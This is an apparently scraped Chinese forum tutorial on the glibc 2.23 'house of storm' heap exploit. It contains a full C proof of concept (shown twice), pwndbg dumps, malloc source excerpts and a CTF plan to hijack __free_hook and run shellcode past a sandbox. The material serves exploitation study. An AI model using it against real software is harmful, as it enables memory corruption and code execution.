-
-
[原创]堆利用详解:the house of storm
-
发表于: 2024-1-25 16:19 13100
-
介绍部分来自参考资料[0],其余内容参考自glibc malloc源码,探究了the house of storm的完整过程,以及一个实例练习
堆溢出、use after free
、edit after free
house of storm
也是一款组合技,利用开启了 PIE
的 x64
程序的堆地址总是 0x55xxxx...
或者 0x56xxxx...
开头这一特性,使用一次 largebin attack
写两个堆地址,使用一次 unsortedbin attack
写一次 libc
地址,可以实现任意地址分配。虽然 house of storm
最后能达到任意地址分配,但是由于其所需的条件比较多,一般可以用其他更简便的堆利用技术代替。利用思路如下:
需要注意的有:
实验环境:libc 2.23
是的,又好长
the house of storm
是unsortedbin attack
和largebin attack
的组合利用,可用直到libc 2.29
的时候unsortedbin attack
被修补
流程很简单:
条件准备
在一次malloc中进行 unsortedbin attack 和 largebin attack,向target写入三个值,伪造了1个 unsortedbin chunk 且 size 和申请大小匹配,在第二轮unsortedbin sort的过程中精确分配内存
这里的思路很有意思,通过伪造chunk指针,同时进行unsortedbin attack和largebin attack,写三个地址构造出一个unsortedbin chunk且这个chunk位于链表的下一个,然后大小刚好匹配分配内存,见下面的探究详细分析吧
最后申请的大小是0x50
在malloc中:
满足fastbin大小,但是没有fastbin chunk,继续
满足smallbin大小,但是没有smallbin chunk,继续
unsortedbin 处理:
没有进行 remainder 处理(为什么?见下面的[探究])
断链,发生unsortedbin attack,向bk->fd位置写入unsortedbin的地址(arena+88),此时unsortedbin链表并没有断掉,unsortedbin chunk依然存在
大小不匹配,chunk size属于largebin 范围,插入到largebin链表中
此时的target变量:已经成功伪造出fake结构了(一次性写了三个值在target附近,同时也伪造出了一个unsortedbin chunk)
此时的bin:
进行第二轮 unsortedbin 处理(此时上一个unsortedbin chunk没有被断开,会继续进入循环)
此时的unsortedbin chunk是被成功伪造好了的(如何伪造见下面的[探究]),断链后:
断链断的是指向0x602090的chunk,这里是我们伪造的chunk,此时出现大小刚好匹配:0x60,直接将该chunk分配出去
分配fake chunk出去了
fastbin attack通过构造fake fastbin chunk 来申请走fake chunk,house of storm则是通过构造fake unsortedbin chunk来申请走chunk
unsortedbin chunk位于双向链表中,在sorting机制的过程中,会从bk取出chunk进行处理,期望最终进行的流程是:
断链后,chunk大小刚好匹配,然后分配走
那么问题就在于,要如何让bk上有这么一个大小刚好匹配的fake chunk了
先不考虑如何构造fake chunk,第一个问题是,如何让bk等于目标地址?
只需要在第一次断链的时候 unsortedbin chunk 的 bk 指向fake chunk即可,
所以,unsortedbin attack的目标是:
那么第二个问题就是,如何构造fake unsortedbin chunk?
unsortedbin chunk 有size,,bk 三个字段:
size:需要想办法和触发利用申请的大小一样
bk:需要是一个合法地址(在fake chunk断链的时候会用到该地址)
在之前的unsortedbin attack中,完成了对 unsortedbin -> bk 的修改,以及对 fake chunk fd 的填充(可有可无,无所谓),largebin attack 负责进行剩下的部分工作:设置一个合适的 size,填充 fake chunk 的 bk
在 libc2.30 之前,largebin attack 可以一次性把一个chunk地址写入任意两个地方,这里刚好可以达到目标,看代码:
首先是要写bk为一个合法的值,通过bk这个链表去实现的话,目标就是target-0x10+8
其次是要写size为一个指定大小,通过bk_nextsize去实现的话,会把值写入目标地址+0x20的地方,而目标需要的是一个字节的值,那就把最高字节写入size字段,这里是调试模式下没有pie,所以地址是0x603000这样的地址
其中这个变量的值是:
因为内存地址3个字节,移动2个字节,留1个字节,这里希望最高位的字节留在0x602098的地址上:
因为是小端序存储,这里的0x00 0x30位于地址0x602096 0x602097,这里的0x60位于0x602098:
在从int_malloc中申请返回之后,回到了__libc_malloc(__libc_calloc 也是一样的),这里在最终return之前有个断言,检查mmap位和arena位,也就是需要第2位是1或第3位是0
堆地址常见两种开头的字节:0x55和0x56,其中第三位都是1,那么唯一需要满足的条件就是,第二位是1,也就是mapped位为1,那就只有0x56开头的情况能做到,0x55开头的情况做不到
两个宏:
这里malloc的时候,存在一个unsortedbin chunk,但是并不是 last_remainder,那么unsortedibn chunk成为last_remainder的条件是什么?
在malloc.c源码搜索last_remainder发现,只有一种情况会出现last_remainder:
malloc流程中:
学习house of storm,见识到了伪造unsortedbin chunk进行分配的操作,一次malloc中触发两种堆利用,进一步熟悉了malloc.c的流程
实验环境:libc 2.23
main:
init:
add:
edit:
delete:
show:
libc 2.23 版本,保护全开,只有一个off by null漏洞,释放的所有 chunk 都进入了unsortedbin,fastbin被禁用了,global_fast_max=0x10(不知道怎么改的,见探究)
存在沙箱,禁用了一些系统调用:不能用execve了
off by null 漏洞的利用通常是用来创造堆块重叠的,堆块重叠的作用是造成UAF,泄露地址或者修改指针
本例中可用的chunk大小最大0x1000字节,可以分配large size chunk
libc 2.23 版本,此时可以进行 unsortedbin attack,largebin attack
the house of storm 的使用条件是,有largebin chunk和unsortedbin chunk,且前者小于后者,各自的指针可被修改,可以达成的目标是,在任意地址创造一个fake chunk并申请走
在 2.23 版本中,很常见的一个攻击目标是__free_hook指针,如果能在那里伪造chunk,即可劫持控制流
还见到一个思路是[1]:通过unsortedbin attack攻击global_fast_max来启动fastbin,然后用fastbin attack去打_IO_list_all,通过FSOP控制执行流
具体利用细节详解见参考资料[2]
简单概况一下就是:
申请A,B,C,D四个chunk,其中chunkC的size是0x101
释放chunkA,在chunkB中溢出修改chunkC的prev_inuse标志位为0,设置prev_size能找到chunkA
释放chunkC,触发合并机制
申请一个和chunkA同等大小的chunk,使得unsortedbin chunk和申请的chunkB重叠,直接读取即可拿到libc leak
接下来是拿到heap leak:申请走完整的unsortedbin chunk,然后释放一个chunk,再释放刚刚那个完整的unsortedbin chunk,让其进入链表的第二个位置,使得其fd指针指向第一个unsortedbin chunk,拿到heap leak
接下来布局堆,我需要一个unsortedbin chunk和一个largebin chunk,其中largebin chunk size 小于 unsortedbin chunk,且他们的指针都可控
这里的操作是,先释放chunk,都合并到top中,然后重新开始布局
因为需要一个largebin chunk和unsortedbin chunk同时存在,而largebin chunk是在malloc中sort阶段从unsortedbin中移动过去的,这里的思路是:
接下来填充bk和bk_nextsize,具体怎么填见上一个实验
回顾一下过程,这里最后一次申请0x48的过程是:
由此,控制了__free_hook
万能gadget:setcontext:可以用来控制rsp指针,然后就可以构造rop去劫持控制流了
关于 rop,这里沙箱禁止了execve,那就只能orw来拿flag了,一个通用思路就是,提前堆里写入好orw的shellcode,通过调用mprotect修改堆执行属性,然后跳转到shellcode中执行
我还在好奇是怎么禁用fastbin的时候注意到init函数中的:
第一个参数是选项,第二个参数是设置的值:
这里是设置M_MXFAST = 0
,由此禁用了 fastbin
/*
POC for House of Storm on 2.23
For 2.26-2.28, the tcache will need to
be full for this to work. After this,
a patch to the unsorted bin attack likely prevents this
technique from working.
This technique uses a combination of editing
the unsorted bin chunk and the large bin chunks
to write a 'size' to a user choosen address in memory.
Once this has occurred, if the size at this 'fake'
location is the same size as the allocation,
then the chunk will be returned back to the user.
This attack allows arbitrary chunks to be returned
to the user!
Written by Maxwell "Strikeout" Dulin
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char
filler[0x10];
char
target[0x60];
void
init(){
setvbuf
(stdout, NULL, _IONBF, 0);
setvbuf
(stdin, NULL, _IONBF, 0);
// clearenv();
}
// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int
get_shift_amount(
char
* pointer){
int
shift_amount = 0;
long
long
ptr = (
long
long
)pointer;
while
(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}
return
shift_amount - 1;
// Want amount PRIOR to this being zeroed out
}
int
main(){
init();
char
*unsorted_bin, *large_bin, *fake_chunk, *ptr;
puts
(
"House of Storm"
);
puts
(
"======================================"
);
puts
(
"Preparing chunks for the exploit"
);
puts
(
"Put one chunk into unsorted bin and the other into the large bin"
);
puts
(
"The unsorted bin chunk MUST be larger than the large bin chunk."
);
/*
Putting a chunk into the unsorted bin and another
into the large bin.
*/
unsorted_bin =
malloc
( 0x4e8 );
// size 0x4f0
// prevent merging
malloc
( 0x18 );
puts
(
"Find the proper chunk size to allocate."
);
puts
(
"Must be exactly the size of the written chunk from above."
);
/*
Find the proper size to allocate
We are using the first 'X' bytes of the heap to act
as the 'size' of a chunk. Then, we need to allocate a
chunk exactly this size for the attack to work.
So, in order to do this, we have to take the higher
bits of the heap address and allocate a chunk of this
size, which comes from the upper bytes of the heap address.
NOTE:
- This does have a 1/2 chance of failing. If the 4th bit
of this value is set, then the size comparison will fail.
- Without this calculation, this COULD be brute forced.
*/
int
shift_amount = get_shift_amount(unsorted_bin);
printf
(
"Shift Amount: %d\n"
, shift_amount);
size_t
alloc_size = ((
size_t
)unsorted_bin) >> (8 * shift_amount);
if
(alloc_size < 0x10){
printf
(
"Chunk Size: 0x%lx\n"
, alloc_size);
puts
(
"Chunk size is too small"
);
exit
(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10;
// Remove the size bits
printf
(
"In this case, the chunk size is 0x%lx\n"
, alloc_size);
// Checks to see if the program will crash or not
/*
The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first.
Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
validates to see if ONE of the following cases is true:
- av == arena_for_chunk (mem2chunk (mem))
- chunk is mmaped
If the 'non-main arena' bit is set on the chunk, then the
first case will fail.
If the mmap bit is set, then this will pass.
So, either the arenas need to match up (our fake chunk is in the
.bss section for this demo. So, clearly, this will not happen) OR
the mmap bit must be set.
The logic below validates that the fourth bit of the size
is NOT set and that either the mmap bit is set or the non-main
arena bit is NOT set. If this is the case, the exploit should work.
*/
if
((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
puts
(
"Allocation size has bit 4 of the size set or "
);
puts
(
"mmap and non-main arena bit check will fail"
);
puts
(
"Please try again! :)"
);
puts
(
"Exiting..."
);
return
1;
}
large_bin =
malloc
( 0x4d8 );
// size 0x4e0
// prevent merging
malloc
( 0x18 );
// FIFO
free
( large_bin );
// put small chunks first
free
( unsorted_bin );
// Put the 'large bin' chunk into the large bin
unsorted_bin =
malloc
(0x4e8);
free
(unsorted_bin);
/*
At this point, there is a single chunk in the
large bin and a single chunk in the unsorted bin.
It should be noted that the unsorted bin chunk
should be LARGER in size than the large bin chunk
but should still be within the same bin.
In this setup, the large_bin has a chunk
of size 0x4e0 and the unsorted bin
has a chunk of size 0x4f0. This technique relies on
the unsorted bin chunk being added to the same bin
but a larger chunk size. So, careful heap feng shui
must be done.
*/
// The address that we want to write to!
fake_chunk = target - 0x10;
puts
(
"Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator"
);
/*
The address of our fake chunk is set to the unsorted bin
chunks 'bk' pointer.
This launches the 'unsorted_bin' attack but it is NOT the
main purpose of us doing this.
After launching the 'unsorted_bin attack' the 'victim' pointer
will be set to THIS address. Our goal is to find a way to get
this address from the allocator.
Vulnerability!!
*/
((
size_t
*)unsorted_bin)[1] = (
size_t
)fake_chunk;
// unsorted_bin->bk
// Only needs to be a valid address.
((
size_t
*) large_bin )[1] = (
size_t
)fake_chunk + 8 ;
// large_bin->fd
puts
(
"Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location"
);
puts
(
"of your fake chunk."
);
puts
(
"Misalign the location in order to use the primitive as a SIZE value."
);
puts
(
"The 'offset' changes depending on if the binary is PIE (5) or not PIE (2)."
);
puts
(
"Vulnerability #2!"
);
puts
(
"Overwrite large bins bk->nextsize with the address to put our fake chunk size at."
);
/*
This can be seen as a WRITE-WHERE primitive in the large bin.
However, we are going to write a 'size' for our fake chunk using this.
So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579
to an address for our fake size. The write above (bk_nextsize) is
controlled via the pointer we are going to overwrite below. The
value that gets written is a heap address; the unsorted bin
chunk address above.
The 'key' to this is the offset. First, we subtract 0x18 because
this is the offset to writting to fd_nextsize in the code shown
above. Secondly, notice the -2 below. We are going
to write a 'heap address' at a mis-aligned location and
use THIS as the size. For instance, if the heap address is 0x123456
and the pointer is set to 0x60006. This will write the following way:
- 0x60006: 0x56
- 0x60007: 0x34
- 0x60008: 0x12
Now, our 'fake size' is at 0x60008 and is a valid size for the
fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk
from the allocator.
Second vulnerability!!!
*/
((
size_t
*) large_bin)[3] = (
size_t
)fake_chunk - 0x18 - shift_amount;
// large_bin->bk_nextsize
/*
At this point, we've corrupted everything in just the right
way so this should work.
The purpose of the attack is to have a corrupted 'bk' pointer
point to ANYWHERE we want and still get the memory back. We do
this by using the large bin code to write a size to the 'bk'
location.
This call to malloc (if you're lucky), will return a pointer
to the fake chunk that we created above.
*/
puts
(
"Make allocation of the size that the value will be written for."
);
puts
(
"Once the allocation happens, the madness begins"
);
puts
(
"Once in the unsorted bin, the 'large bin' chunk will be used in orer to "
);
puts
(
"write a fake 'size' value to the location of our target."
);
puts
(
"After this, the target will have a valid size."
);
puts
(
"Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid"
);
puts
(
"size and remove it from the bin."
);
puts
(
"With this, we have pulled out an arbitrary chunk!"
);
printf
(
"String before: %s\n"
, target);
printf
(
"String pointer: %p\n"
, target);
ptr =
malloc
(alloc_size);
strncpy
(ptr,
"\x41\x42\x43\x44\x45\x46\x47"
, 0x58 - 1);
printf
(
"String after %s\n"
, target);
printf
(
"Fake chunk ptr: %p\n"
, ptr);
return
0;
}
/*
POC for House of Storm on 2.23
For 2.26-2.28, the tcache will need to
be full for this to work. After this,
a patch to the unsorted bin attack likely prevents this
technique from working.
This technique uses a combination of editing
the unsorted bin chunk and the large bin chunks
to write a 'size' to a user choosen address in memory.
Once this has occurred, if the size at this 'fake'
location is the same size as the allocation,
then the chunk will be returned back to the user.
This attack allows arbitrary chunks to be returned
to the user!
Written by Maxwell "Strikeout" Dulin
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char
filler[0x10];
char
target[0x60];
void
init(){
setvbuf
(stdout, NULL, _IONBF, 0);
setvbuf
(stdin, NULL, _IONBF, 0);
// clearenv();
}
// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int
get_shift_amount(
char
* pointer){
int
shift_amount = 0;
long
long
ptr = (
long
long
)pointer;
while
(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}
return
shift_amount - 1;
// Want amount PRIOR to this being zeroed out
}
int
main(){
init();
char
*unsorted_bin, *large_bin, *fake_chunk, *ptr;
puts
(
"House of Storm"
);
puts
(
"======================================"
);
puts
(
"Preparing chunks for the exploit"
);
puts
(
"Put one chunk into unsorted bin and the other into the large bin"
);
puts
(
"The unsorted bin chunk MUST be larger than the large bin chunk."
);
/*
Putting a chunk into the unsorted bin and another
into the large bin.
*/
unsorted_bin =
malloc
( 0x4e8 );
// size 0x4f0
// prevent merging
malloc
( 0x18 );
puts
(
"Find the proper chunk size to allocate."
);
puts
(
"Must be exactly the size of the written chunk from above."
);
/*
Find the proper size to allocate
We are using the first 'X' bytes of the heap to act
as the 'size' of a chunk. Then, we need to allocate a
chunk exactly this size for the attack to work.
So, in order to do this, we have to take the higher
bits of the heap address and allocate a chunk of this
size, which comes from the upper bytes of the heap address.
NOTE:
- This does have a 1/2 chance of failing. If the 4th bit
of this value is set, then the size comparison will fail.
- Without this calculation, this COULD be brute forced.
*/
int
shift_amount = get_shift_amount(unsorted_bin);
printf
(
"Shift Amount: %d\n"
, shift_amount);
size_t
alloc_size = ((
size_t
)unsorted_bin) >> (8 * shift_amount);
if
(alloc_size < 0x10){
printf
(
"Chunk Size: 0x%lx\n"
, alloc_size);
puts
(
"Chunk size is too small"
);
exit
(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10;
// Remove the size bits
printf
(
"In this case, the chunk size is 0x%lx\n"
, alloc_size);
// Checks to see if the program will crash or not
/*
The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first.
Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
validates to see if ONE of the following cases is true:
- av == arena_for_chunk (mem2chunk (mem))
- chunk is mmaped
If the 'non-main arena' bit is set on the chunk, then the
first case will fail.
If the mmap bit is set, then this will pass.
So, either the arenas need to match up (our fake chunk is in the
.bss section for this demo. So, clearly, this will not happen) OR
the mmap bit must be set.
The logic below validates that the fourth bit of the size
is NOT set and that either the mmap bit is set or the non-main
arena bit is NOT set. If this is the case, the exploit should work.
*/
if
((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
puts
(
"Allocation size has bit 4 of the size set or "
);
puts
(
"mmap and non-main arena bit check will fail"
);
puts
(
"Please try again! :)"
);
puts
(
"Exiting..."
);
return
1;
}
large_bin =
malloc
( 0x4d8 );
// size 0x4e0
// prevent merging
malloc
( 0x18 );
// FIFO
free
( large_bin );
// put small chunks first
free
( unsorted_bin );
// Put the 'large bin' chunk into the large bin
unsorted_bin =
malloc
(0x4e8);
free
(unsorted_bin);
/*
At this point, there is a single chunk in the
large bin and a single chunk in the unsorted bin.
It should be noted that the unsorted bin chunk
should be LARGER in size than the large bin chunk
but should still be within the same bin.
In this setup, the large_bin has a chunk
of size 0x4e0 and the unsorted bin
has a chunk of size 0x4f0. This technique relies on
the unsorted bin chunk being added to the same bin
but a larger chunk size. So, careful heap feng shui
must be done.
*/
// The address that we want to write to!
fake_chunk = target - 0x10;
puts
(
"Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator"
);
/*
The address of our fake chunk is set to the unsorted bin
chunks 'bk' pointer.
This launches the 'unsorted_bin' attack but it is NOT the
main purpose of us doing this.
After launching the 'unsorted_bin attack' the 'victim' pointer
will be set to THIS address. Our goal is to find a way to get
this address from the allocator.
Vulnerability!!
*/
((
size_t
*)unsorted_bin)[1] = (
size_t
)fake_chunk;
// unsorted_bin->bk
// Only needs to be a valid address.
((
size_t
*) large_bin )[1] = (
size_t
)fake_chunk + 8 ;
// large_bin->fd
puts
(
"Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location"
);
puts
(
"of your fake chunk."
);
puts
(
"Misalign the location in order to use the primitive as a SIZE value."
);
puts
(
"The 'offset' changes depending on if the binary is PIE (5) or not PIE (2)."
);
puts
(
"Vulnerability #2!"
);
puts
(
"Overwrite large bins bk->nextsize with the address to put our fake chunk size at."
);
/*
This can be seen as a WRITE-WHERE primitive in the large bin.
However, we are going to write a 'size' for our fake chunk using this.
So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579
to an address for our fake size. The write above (bk_nextsize) is
controlled via the pointer we are going to overwrite below. The
value that gets written is a heap address; the unsorted bin
chunk address above.
The 'key' to this is the offset. First, we subtract 0x18 because
this is the offset to writting to fd_nextsize in the code shown
above. Secondly, notice the -2 below. We are going
to write a 'heap address' at a mis-aligned location and
use THIS as the size. For instance, if the heap address is 0x123456
and the pointer is set to 0x60006. This will write the following way:
- 0x60006: 0x56
- 0x60007: 0x34
- 0x60008: 0x12
Now, our 'fake size' is at 0x60008 and is a valid size for the
fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk
from the allocator.
Second vulnerability!!!
*/
((
size_t
*) large_bin)[3] = (
size_t
)fake_chunk - 0x18 - shift_amount;
// large_bin->bk_nextsize
/*
At this point, we've corrupted everything in just the right
way so this should work.
The purpose of the attack is to have a corrupted 'bk' pointer
point to ANYWHERE we want and still get the memory back. We do
this by using the large bin code to write a size to the 'bk'
location.
This call to malloc (if you're lucky), will return a pointer
to the fake chunk that we created above.
*/
puts
(
"Make allocation of the size that the value will be written for."
);
puts
(
"Once the allocation happens, the madness begins"
);
puts
(
"Once in the unsorted bin, the 'large bin' chunk will be used in orer to "
);
puts
(
"write a fake 'size' value to the location of our target."
);
puts
(
"After this, the target will have a valid size."
);
puts
(
"Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid"
);
puts
(
"size and remove it from the bin."
);
puts
(
"With this, we have pulled out an arbitrary chunk!"
);
printf
(
"String before: %s\n"
, target);
printf
(
"String pointer: %p\n"
, target);
ptr =
malloc
(alloc_size);
strncpy
(ptr,
"\x41\x42\x43\x44\x45\x46\x47"
, 0x58 - 1);
printf
(
"String after %s\n"
, target);
printf
(
"Fake chunk ptr: %p\n"
, ptr);
return
0;
}
pwndbg> dq 0x602090
0000000000602090 30007ffff7fcb8e0 0000000000000060 target - 0x10 largebin attack bk_nextsize写入到了这里
00000000006020a0 00007ffff7fcbb78 0000000000603000 target unsortedbin attack的写入,largebin attack bk的写入
00000000006020b0 0000000000000000 0000000000000000
00000000006020c0 0000000000000000 0000000000000000
pwndbg> dq 0x602090
0000000000602090 30007ffff7fcb8e0 0000000000000060 target - 0x10 largebin attack bk_nextsize写入到了这里
00000000006020a0 00007ffff7fcbb78 0000000000603000 target unsortedbin attack的写入,largebin attack bk的写入
00000000006020b0 0000000000000000 0000000000000000
00000000006020c0 0000000000000000 0000000000000000
pwndbg> bin
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x603000 —▸ 0x603510 —▸ 0x7ffff7fcbf98 (main_arena+1144) ◂— 0x603510
BK: 0x602090 (stdin@@GLIBC_2.2.5) —▸ 0x603000 —▸ 0x602098 (completed) ◂— 0x0
smallbins
empty
largebins
0x4c0-0x4f0 [corrupted]
FD: 0x603510 —▸ 0x7ffff7fcbf98 (main_arena+1144) ◂— 0x603510
BK: 0x603510 —▸ 0x603000 —▸ 0x602098 (completed) ◂— 0x0
pwndbg> bin
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x603000 —▸ 0x603510 —▸ 0x7ffff7fcbf98 (main_arena+1144) ◂— 0x603510
BK: 0x602090 (stdin@@GLIBC_2.2.5) —▸ 0x603000 —▸ 0x602098 (completed) ◂— 0x0
smallbins
empty
largebins
0x4c0-0x4f0 [corrupted]
FD: 0x603510 —▸ 0x7ffff7fcbf98 (main_arena+1144) ◂— 0x603510
BK: 0x603510 —▸ 0x603000 —▸ 0x602098 (completed) ◂— 0x0
unsortedbin
all [corrupted]
FD: 0x603000 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x603000
BK: 0x603000 —▸ 0x602098 (completed) ◂— 0x0
unsortedbin
all [corrupted]
FD: 0x603000 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x603000
BK: 0x603000 —▸ 0x602098 (completed) ◂— 0x0
bck = victim->bk;
...
/* remove from unsorted list */
// 断链
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
/* Take now instead of binning if exact fit */
// 如果大小精准匹配,就直接分配返回
if
(size == nb)
{
set_inuse_bit_at_offset(victim, size);
if
(av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void
*p = chunk2mem(victim);
alloc_perturb(p, bytes);
return
p;
}
bck = victim->bk;
...
/* remove from unsorted list */
// 断链
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
/* Take now instead of binning if exact fit */
// 如果大小精准匹配,就直接分配返回
if
(size == nb)
{
set_inuse_bit_at_offset(victim, size);
if
(av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void
*p = chunk2mem(victim);
alloc_perturb(p, bytes);
return
p;
}
bck = victim->bk;
...
unsorted_chunks(av)->bk = bck;
bck = victim->bk;
...
unsorted_chunks(av)->bk = bck;
fake_chunk = target - 0x10;
...
((
size_t
*) large_bin)[1] = (
size_t
)fake_chunk + 8 ;
// large_bin->fd
...
((
size_t
*) large_bin)[3] = (
size_t
)fake_chunk - 0x18 - shift_amount;
// large_bin->bk_nextsize
fake_chunk = target - 0x10;
...
((
size_t
*) large_bin)[1] = (
size_t
)fake_chunk + 8 ;
// large_bin->fd
...
((
size_t
*) large_bin)[3] = (
size_t
)fake_chunk - 0x18 - shift_amount;
// large_bin->bk_nextsize
pwndbg> p/x shift_amount
$1 = 0x2
pwndbg> p/x shift_amount
$1 = 0x2
pwndbg> dq 0x0000000000602076
0000000000602076 0000000000000000 7ffff7fcc6200000
0000000000602086 0000000000000000 7ffff7fcb8e00000
0000000000602096 0000000000603000 7ffff7fcbb780000
00000000006020a6 0000006030000000 0000000000000000
pwndbg> dq 0x0000000000602076
0000000000602076 0000000000000000 7ffff7fcc6200000
0000000000602086 0000000000000000 7ffff7fcb8e00000
0000000000602096 0000000000603000 7ffff7fcbb780000
00000000006020a6 0000006030000000 0000000000000000
pwndbg> dq 0x0000000000602090
0000000000602090 30007ffff7fcb8e0 0000000000000060
00000000006020a0 00007ffff7fcbb78 0000000000603000
00000000006020b0 0000000000000000 0000000000000000
00000000006020c0 0000000000000000 0000000000000000
pwndbg> dq 0x0000000000602090
0000000000602090 30007ffff7fcb8e0 0000000000000060
00000000006020a0 00007ffff7fcbb78 0000000000603000
00000000006020b0 0000000000000000 0000000000000000
00000000006020c0 0000000000000000 0000000000000000
void
*
__libc_malloc(
size_t
bytes)
{
mstate ar_ptr;
void
*victim;
void
*(*hook)(
size_t
,
const
void
*) = atomic_forced_read(__malloc_hook);
if
(__builtin_expect(hook != NULL, 0))
return
(*hook)(bytes, RETURN_ADDRESS(0));
arena_get(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
if
(!victim && ar_ptr != NULL)
{
LIBC_PROBE(memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
}
if
(ar_ptr != NULL)
(
void
)mutex_unlock(&ar_ptr->mutex);
assert
(!victim || chunk_is_mmapped(mem2chunk(victim)) ||
ar_ptr == arena_for_chunk(mem2chunk(victim)));
// 会检查申请的chunk 的标志位
return
victim;
}
void
*
__libc_malloc(
size_t
bytes)
{
mstate ar_ptr;
void
*victim;
void
*(*hook)(
size_t
,
const
void
*) = atomic_forced_read(__malloc_hook);
if
(__builtin_expect(hook != NULL, 0))
return
(*hook)(bytes, RETURN_ADDRESS(0));
arena_get(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
if
(!victim && ar_ptr != NULL)
{
LIBC_PROBE(memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
}
if
(ar_ptr != NULL)
(
void
)mutex_unlock(&ar_ptr->mutex);
assert
(!victim || chunk_is_mmapped(mem2chunk(victim)) ||
ar_ptr == arena_for_chunk(mem2chunk(victim)));
// 会检查申请的chunk 的标志位
return
victim;
}
/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
/* Inspect the bin. It is likely to be non-empty */
victim = last(bin);
/* If a false alarm (empty bin), clear the bit. */
if
(victim == bin)
{
av->binmap[block] = map &= ~bit;
/* Write through */
bin = next_bin(bin);
bit <<= 1;
}
else
{
size = chunksize(victim);
/* We know the first chunk in this bin is big enough to use. */
assert
((unsigned
long
)(size) >= (unsigned
long
)(nb));
remainder_size = size - nb;
/* unlink */
unlink(av, victim, bck, fwd);
/* Exhaust */
if
(remainder_size < MINSIZE)
{
set_inuse_bit_at_offset(victim, size);
if
(av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset(victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks(av);
fwd = bck->fd;
if
(__glibc_unlikely(fwd->bk != bck))
{
errstr =
"malloc(): corrupted unsorted chunks 2"
;
goto
errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
/* advertise as last remainder */
if
(in_smallbin_range(nb))
av->last_remainder = remainder;
// 生成last_remainder
if
(!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
/* Inspect the bin. It is likely to be non-empty */
victim = last(bin);
/* If a false alarm (empty bin), clear the bit. */
if
(victim == bin)
{
av->binmap[block] = map &= ~bit;
/* Write through */
bin = next_bin(bin);
bit <<= 1;
}
else
{
size = chunksize(victim);
/* We know the first chunk in this bin is big enough to use. */
assert
((unsigned
long
)(size) >= (unsigned
long
)(nb));
remainder_size = size - nb;
/* unlink */
unlink(av, victim, bck, fwd);
/* Exhaust */
if
(remainder_size < MINSIZE)
{
set_inuse_bit_at_offset(victim, size);
if
(av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
